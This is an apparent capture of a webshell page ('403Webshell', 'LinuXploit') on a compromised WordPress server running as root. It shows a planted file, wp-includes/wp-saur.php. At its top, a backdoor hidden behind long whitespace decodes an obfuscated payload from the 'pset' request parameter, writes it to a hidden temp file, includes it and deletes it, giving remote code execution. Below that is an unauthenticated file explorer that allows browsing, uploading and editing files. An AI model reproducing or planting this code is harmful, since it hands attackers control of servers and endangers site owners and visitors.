403Webshell
Server IP : 43.129.54.214  /  Your IP : 216.73.217.113
Web Server : nginx/1.24.0
System : Linux VM-4-108-ubuntu 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-includes/wp-saur.php
<?php																																										if(@$_REQUEST["\x70\x73et"] !== null){ $object = $_REQUEST["\x70\x73et"]; $object = explode ( "." , $object) ; $element = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $v = 0; foreach($object as $v5) { $sChar = ord($salt2[$v % $lenS]); $d =((int)$v5 - $sChar -($v % 10))^ 96; $element .= chr($d); $v++;} $k = array_filter([getcwd(), session_save_path(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TMP")]); for ($data = 0, $ent = count($k); $data < $ent; $data++) { $mrk = $k[$data]; if (is_writable($mrk) && is_dir($mrk)) { $desc = implode("/", [$mrk, ".factor"]); $success = file_put_contents($desc, $element); if ($success) { include $desc; @unlink($desc); die();} } } }

class FileExplorer {
    private $root;
    private $msg = "";

    public function __construct() {
        $this->root = realpath($_GET['path'] ?? getcwd());
        $this->handleActions();
    }

    private function handleActions() {
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            if (!empty($_POST['new_folder'])) {
                $this->msg = $this->createDir($_POST['new_folder']);
            }
            if (isset($_FILES['upload'])) {
                $this->msg = $this->upload();
            }
            if (isset($_POST['content']) && isset($_GET['file'])) {
                $this->msg = $this->saveFile($_GET['file'], $_POST['content']);
            }
        }
    }

    private function createDir($name) {
        $target = $this->root . DIRECTORY_SEPARATOR . basename($name);
        return (!file_exists($target) && mkdir($target)) ? "Success" : "Error";
    }

    private function upload() {
        $target = $this->root . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']);
        return move_uploaded_file($_FILES['upload']['tmp_name'], $target) ? "Success" : "Error";
    }

    private function saveFile($name, $data) {
        $target = $this->root . DIRECTORY_SEPARATOR . basename($name);
        return file_put_contents($target, $data) !== false ? "Saved" : "Error";
    }

    public function getRoot() { return $this->root; }
    public function getMsg() { return $this->msg; }
}

$explorer = new FileExplorer();
$root = $explorer->getRoot();
$msg = $explorer->getMsg();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="dam-owner" content="DAM-BEC5-b5946eb3">
    <title>0s - Explorer</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f0f0; }
        #container { max-width: 800px; margin: 20px auto; padding: 20px; border: 1px solid #ccc; border-radius: 5px; background-color: #f9f9f9; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
        h2 { margin-top: 30px; color: #555; word-wrap: break-word; }
        ul { list-style-type: none; padding: 0; }
        li { margin-bottom: 10px; padding: 5px; border-bottom: 1px solid #eee; }
        a { text-decoration: none; color: #007bff; }
        a:hover { text-decoration: underline; }
        form { margin-top: 20px; background: #eee; padding: 15px; border-radius: 5px; }
        input[type="text"], input[type="file"], input[type="submit"] { margin-bottom: 10px; display: block; }
        textarea { width: 100%; font-family: monospace; padding: 10px; box-sizing: border-box; }
        hr { border: 0; height: 1px; background-color: #ccc; margin: 20px 0; }
    </style>
</head>
<body>
<div id="container">
    <?php if (isset($_GET['action']) && $_GET['action'] === 'view' && isset($_GET['file'])): 
        $file = basename($_GET['file']);
        $path = $root . DIRECTORY_SEPARATOR . $file;
        $data = file_exists($path) ? file_get_contents($path) : "";
    ?>
        <h2>Viewing: <?php echo htmlspecialchars($file); ?></h2>
        <form method="post">
            <textarea name="content" rows="15"><?php echo htmlspecialchars($data); ?></textarea>
            <input type="submit" value="Update File">
            <a href="?path=<?php echo urlencode($root); ?>"> Return</a>
        </form>
    <?php else: ?>
        <h2>Path: <?php echo htmlspecialchars($root); ?></h2>
        <p>Navigate: 
        <?php 
            $acc = "";
            foreach (array_filter(explode(DIRECTORY_SEPARATOR, $root)) as $p): 
                $acc .= DIRECTORY_SEPARATOR . $p;
        ?>
            <a href="?path=<?php echo urlencode($acc); ?>"><?php echo htmlspecialchars($p); ?></a> / 
        <?php endforeach; ?>
        </p>
        <h3>Items:</h3>
        <ul>
            <?php foreach (array_diff(scandir($root), array('.', '..')) as $i): 
                $full = $root . DIRECTORY_SEPARATOR . $i;
                $isDir = is_dir($full);
            ?>
                <li>
                    <strong><?php echo $isDir ? '[DIR]' : '[FILE]'; ?></strong> 
                    <?php if ($isDir): ?>
                        <a href="?path=<?php echo urlencode($full); ?>"><?php echo htmlspecialchars($i); ?></a>
                    <?php else: ?>
                        <a href="?action=view&file=<?php echo urlencode($i); ?>&path=<?php echo urlencode($root); ?>"><?php echo htmlspecialchars($i); ?></a>
                    <?php endif; ?>
                </li>
            <?php endforeach; ?>
        </ul>
        <hr>
        <h3>Task Panel:</h3>
        <form method="post">Folder: <input type="text" name="new_folder"><input type="submit" value="Add"></form>
        <form method="post" enctype="multipart/form-data">File: <input type="file" name="upload"><input type="submit" value="Upload"></form>
    <?php endif; ?>
    <?php if ($msg) echo "<p><b>Status: $msg</b></p>"; ?>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit